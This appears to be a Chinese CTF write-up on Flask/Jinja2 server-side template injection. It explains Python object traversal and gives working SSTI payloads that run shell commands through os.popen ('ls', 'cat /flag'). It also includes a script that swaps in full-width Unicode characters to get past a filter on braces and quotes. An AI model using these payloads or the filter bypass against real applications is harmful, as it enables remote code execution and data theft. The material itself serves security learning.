抓包发现是python,想到flask ssti模板注入
flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入
安装flask,requests模块
所有的子类都有一个共同的父类object,如果没指定继承,默认父类是object
__class__:返回当前类(输入abc,是字符串类,除此以外还有元组类,字典类等)
__mor__:返回解析函数时,类的调用顺序,通过索引的方式__mor,就可返回object类
还可以通过__base__:返回当前类父类(以字符串的形式)或者__bases__以元组的形式返回所有父类(元组可通过索引访问
print('abc'.__class__.__bases__[0].__subclasses__())
print('abc'.__class__.__base__.__subclasses__())这两者一样)
如果[]索引被过滤,可以用__getitem__ ()或者get方法来进行替换
print('abc'.__class__.__base__.__subclasses__().__getitem__(134))
发现{}被限制了
,︷︸
已经被格式化,我们测试下是否有ssti注入漏洞
2*2被计算出来了,所以存在ssti
ssti模板注入payload
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸
经过url编码
%EF%B8%B7%EF%B8%B7a.__init__.__globals__.__builtins__.eval(%EF%BC%82__import__(%EF%BC%87os%EF%BC%87).popen(%EF%BC%87ls%EF%BC%87).read()%EF%BC%82)%EF%B8%B8%EF%B8%B8
特殊字符绕过脚本
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
" -> "
"""
//此时的str即你要输入的payload
str = '''{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}'''
# 原字符串
# 如果需要替换replace(被替换的字符,替换后的字符)
str = str.replace('{', '︷')
str = str.replace('}', '︸')
str = str.replace('\'', ''')
str = str.replace('\"', '"')
print(str)
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸